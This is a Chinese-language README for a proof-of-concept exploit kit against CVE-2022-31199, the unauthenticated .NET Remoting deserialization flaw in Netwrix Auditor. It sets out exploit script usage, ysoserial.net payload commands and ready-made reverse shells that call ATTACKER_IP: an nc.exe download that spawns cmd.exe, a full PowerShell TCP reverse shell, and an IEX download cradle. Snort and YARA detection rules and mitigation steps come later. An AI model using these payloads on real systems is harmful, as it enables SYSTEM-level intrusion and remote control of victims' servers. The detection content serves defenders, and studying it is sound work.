CVE-2022-31199 是 Netwrix Auditor 10.5 之前版本中存在的一个严重的不安全对象反序列化漏洞。该漏洞存在于监听 TCP 9004 端口的未受保护的 .NET Remoting 服务中,允许未经身份验证的远程攻击者以 NT AUTHORITY\SYSTEM 权限实现任意代码执行。
该漏洞已被以下威胁积极在野利用:
成功利用通常会导致:
本仓库包含 CVE-2022-31199 的完整概念验证 (POC) 漏洞利用:
exploit.py - 基于 Python 的利用框架exploit.ps1 - PowerShell 利用脚本README.md - 本文档manual-exploitation.md - 逐步手动利用指南ysoserial.net - .NET 反序列化载荷生成器
ExploitRemotingService - .NET Remoting 利用工具
python3 exploit.py --target 192.168.1.100 --check
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# 使用 ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
exploit.py)python3 exploit.py --target 10.10.10.100 --check
# 步骤 1:生成载荷
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
# 步骤 2:执行漏洞利用
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
# 自定义端口
python3 exploit.py --target 10.10.10.100 --port 9004 --check
# 自定义端点
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
--target : 目标 IP 地址或主机名(必需)
--port : 目标端口(默认:9004)
--endpoint : .NET Remoting 端点名称(默认:UAVRServer)
--check : 仅检查漏洞,不进行利用
--payload : 来自 ysoserial.net 的 Base64 编码载荷
exploit.ps1).\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# 简单命令执行
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
# 将输出写入文件
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
# 自定义端口
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
-Target : 目标 IP 地址或主机名(必需)
-Port : 目标端口(默认:9004)
-Command : 在目标上执行的命令(默认:"whoami")
-CheckOnly : 仅检查漏洞,不进行利用
# 检查系统信息
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
nc -lvnp 4444
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
python3 -m http.server 8000
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
# 测试连接性
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
# 使用 lease 模式执行(绕过某些保护)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
# 使用对象引用执行
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
该漏洞源于:
1. 攻击者连接到 TCP 端口 9004
2. 识别 .NET Remoting 服务(UAVRServer 端点)
3. 使用 ysoserial.net 生成恶意序列化载荷
4. 通过 .NET Remoting 协议发送载荷
5. 目标使用 BinaryFormatter 反序列化对象
6. Gadget 链执行任意代码
7. 代码以 NT AUTHORITY\SYSTEM 权限运行
以下 ysoserial.net gadget 可用于此漏洞:
.NET Remoting 协议结构:
┌─────────────────────────────────────┐
│ 前导码(8 字节) │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ 头部 │
├─────────────────────────────────────┤
│ URI (UAVRServer) │
├─────────────────────────────────────┤
│ 序列化对象 (BinaryFormatter) │
└─────────────────────────────────────┘
alert tcp any any -> any 9004 (
msg:"CVE-2022-31199 Netwrix .NET Remoting 漏洞利用尝试";
content:"|00 01 00 00 01 00 00 00|";
depth:8;
content:"System.Runtime.Remoting";
distance:0;
sid:1000001;
rev:1;
)
# 检查端口 9004 是否在监听
netstat -ano | findstr :9004
# 识别进程
tasklist /FI "PID eq [PID]"
rule CVE_2022_31199_Netwrix_Exploit {
meta:
description = "检测 CVE-2022-31199 漏洞利用尝试"
author = "安全研究员"
date = "2024-11-17"
severity = "critical"
strings:
$header = { 00 01 00 00 01 00 00 00 }
$remoting1 = "System.Runtime.Remoting" ascii
$remoting2 = "UAVRServer" ascii
$remoting3 = "Netwrix" ascii
$serialize = "BinaryFormatter" ascii
$gadget1 = "TypeConfuseDelegate" ascii
$gadget2 = "ObjectDataProvider" ascii
condition:
$header at 0 and
($remoting1 or $remoting2 or $remoting3) and
$serialize and
any of ($gadget*)
}
升级到 Netwrix Auditor 10.5 或更高版本
网络分段
监控
# 检查 Netwrix Auditor 版本
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version
# 检查端口是否暴露
Test-NetConnection -ComputerName localhost -Port 9004
# 验证防火墙规则
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}
重要提示:这些概念验证 (POC) 漏洞利用仅供以下用途:
- 教育目的
- 授权的安全测试
- 漏洞研究
- 防御性安全操作
未经授权访问计算机系统属违法行为。
使用这些工具即表示您同意:
1. 仅测试您拥有或获得明确书面许可的系统
2. 遵守所有适用的地方、州和联邦法律
3. 负责任且合乎道德地使用工具
4. 不用于恶意目的
作者不对工具的滥用承担任何责任。
使用风险自负。
发现任何问题或改进建议?欢迎:
版本: 1.0
最后更新: 2024 年 11 月 17 日
维护者: 安全研究社区
如有问题或疑问,请参考官方公告和文档。